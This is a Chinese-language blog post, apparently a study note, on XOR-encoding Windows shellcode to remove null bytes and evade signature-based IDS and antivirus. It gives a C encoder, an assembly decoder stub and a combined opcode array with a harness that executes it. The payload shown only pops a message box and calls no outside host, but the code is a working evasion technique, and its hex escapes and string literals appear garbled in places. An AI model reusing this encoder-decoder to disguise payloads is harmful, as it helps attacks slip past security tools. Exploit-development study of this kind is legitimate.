• OD: Shellcode Encoding


    Shellcode 受到的限制

    1. 大多数情况下 shellcode 中不允许出现 0x00 截断符,这个可以通过特殊指令来做到。

    2. 有时候 shellcode 必须为可见的 ASCII 字符或 Unicode 值。

    3. 网络攻击时,基于特征的 IDS 会对常见的 shellcode 进行拦截。

    解决以上限制的一个办法是,对开发好的 shellcode 时行编码,使其达到限制要求。使用时,先构造解码代码,并放置在 shellcode 头部。

    只需变更编码用的密钥,就能使 shellcode 以全新的面貌出现,从而躲过查杀。但对于使用内存查杀的杀毒软件,这个办法并不理想。

    Shellcode 编码

    实验中用如下代码编码:

     1 #include<stdio.h>
     2 #include<string.h>
     3 
     4 char popwnd_general[] =
     5 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
     6 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75"
     7 "x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBE"
     8 "x06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03"
     9 "xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDBx53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53"
    10 "x50x50x53xFFx57xFCx53xFFx57xF8x90"; // Append a 0x90 as decoding ending-flag
    11 
    12 int encoder(char *input, unsigned char key, int display)
    13 {
    14     int i,len=strlen(input);
    15     unsigned char *output=(unsigned char*)malloc(len+1);
    16     FILE *fp;
    17     if(!output)
    18     {
    19         printf("malloc failed!
    ");
    20         return 1;
    21     }
    22     for(i=0;i<len;i++)
    23         output[i]=input[i]^key;
    24     if(!(fp=fopen("encode.txt","a+")))
    25     {
    26         printf("open encode.txt failed!
    ");
    27         return 2;
    28     }
    29     fprintf(fp,""");
    30     for(i=0;i<len;i++)
    31     {
    32         fprintf(fp,"\x%0.2x",output[i]);
    33         if(display) printf("%0.2x ",output[i]);
    34         if((i+1)%16==0)
    35         {
    36             fprintf(fp,""
    "");
    37             if(display) printf("
    ");
    38         }
    39     }
    40     fprintf(fp,""
    ");
    41     printf("
    ");
    42     free(output);
    43     return 0;44 }
    45 int main()
    46 {
    47     /*
    48     _asm{
    49         lea eax, popwnd_general
    50         push eax
    51         ret
    52     }*/
    53     encoder(popwnd_general,0x44,1);
    54     return 0;
    55 }

    Shellcode 头部的解码过程代码如下:

     1 int main()
     2 {
     3     __asm
     4     {
     5         add eax,0x14    // 0x14: length of this decoder
     6         xor ecx,ecx
     7       decode_loop:
     8         mov bl,[eax+ecx]
     9         xor bl,0x44    // decoding
    10         mov [eax+ecx],bl
    11         inc ecx
    12         cmp bl,0x90
    13         jne decode_loop
    14     }
    15     return 0;
    16 }

    应用解码器的过程如下:

    1. 编译解码器,提取 opcode 并整合到编码过的 shellcode 之前

    2. 解码器执行前 EAX 需要指向整合过的 shellcode 的地址

    3. 编码前的 shellcode 的最后一个必须是 0x90,解码器以此为结束标志

    解码器编译后的长度刚好是 0x14,整合到编码过后的 shellcode 头部,结果如下:

     1 char opcode[]=
     2 "x83xC0x14"      // ADD EAX,14
     3 "x33xC9"          // XOR ECX,ECX
     4 "x8Ax1Cx08"      // MOV BL,BYTE PTR DS:[EAX+ECX]
     5 "x80xF3x44"      // XOR BL,44
     6 "x88x1Cx08"      // MOV BYTE PTR DS:[EAX+ECX],BL
     7 "x41"              // INC ECX
     8 "x80xFBx90"      // CMP BL,90
     9 "x75xF1"          // JNZ SHORT exp_me.004018DD
    10 "xb8x2cx2ex4ex7cx5ax2cx27xcdx95x0bx2cx76x30xd5x48"
    11 "xcfxb0xc9x3axb0x77x9fxf3x40x6fxa7x22xffx77x76x17"
    12 "x2cx31x37x21x36x10x77x96x20xcfx1ex74xcfx0fx48xcf"
    13 "x0dx58xcfx4dxcfx4dxcfx2dx4cxe9x79x2ex4ex7cx5ax31"
    14 "x41xd1xbbx13xbcxd1x24xcfx01x78xcfx08x41x3cx47x89"
    15 "xcfx1dx64x47x99x77xbbx03xcfx70xffx47xb1xddx4bxfa"
    16 "x42x7ex80x30x4cx85x8ex43x47x94x02xafxb5x7fx10x60"
    17 "x58x31xa0xcfx1dx60x47x99x22xcfx78x3fxcfx1dx58x47"
    18 "x99x47x68xffxd1x1bxefx13x25x79x2ex4ex7cx5ax31xed"
    19 "x77x9fx17x2cx33x21x37x30x2cx22x25x2dx28xcfx80x17"
    20 "x14x14x17xbbx13xb8x17xbbx13xbcxd4";
    21 
    22 int main()
    23 {
    24     __asm
    25     {
    26         /*
    27         add eax,0x14    // 0x14: length of this decoder
    28         xor ecx,ecx
    29         decode_loop:
    30         mov bl,[eax+ecx]
    31         xor bl,0x44    // decoding
    32         mov [eax+ecx],bl
    33         inc ecx
    34         cmp bl,0x90
    35         jne decode_loop
    36         */
    37         lea eax,opcode
    38         push eax
    39         ret
    40     }
    41     return 0;
    42 }

    实际应用中,除了自己构造编码解码器之外,更简单通用的方法是运用 Metasploit。

  • 相关阅读:
    C-net总结
    C编程经验总结4
    关于ACL中通配符掩码(反掩码)认识
    SPRITEKIT游戏框架之关于PHYSICS物理引擎属性
    (三)宇宙大战 Space Battle -- 场景SCENE切换、UserDefaults统计分数、Particle粒子效果
    SpriteKit游戏开发适配iPad/iPhone6/7/8/Plus及iPhoneX的尺寸及安全区域
    如何应用SPRITEKIT的CAMERA实现游戏中的ENDLESS无限循环背景
    iFIERO
    iFIERO
    【Swift】日期比较函数 记录下 Comparing date in Swift
  • 原文地址:https://www.cnblogs.com/exclm/p/3675895.html
Copyright © 2020-2023  润新知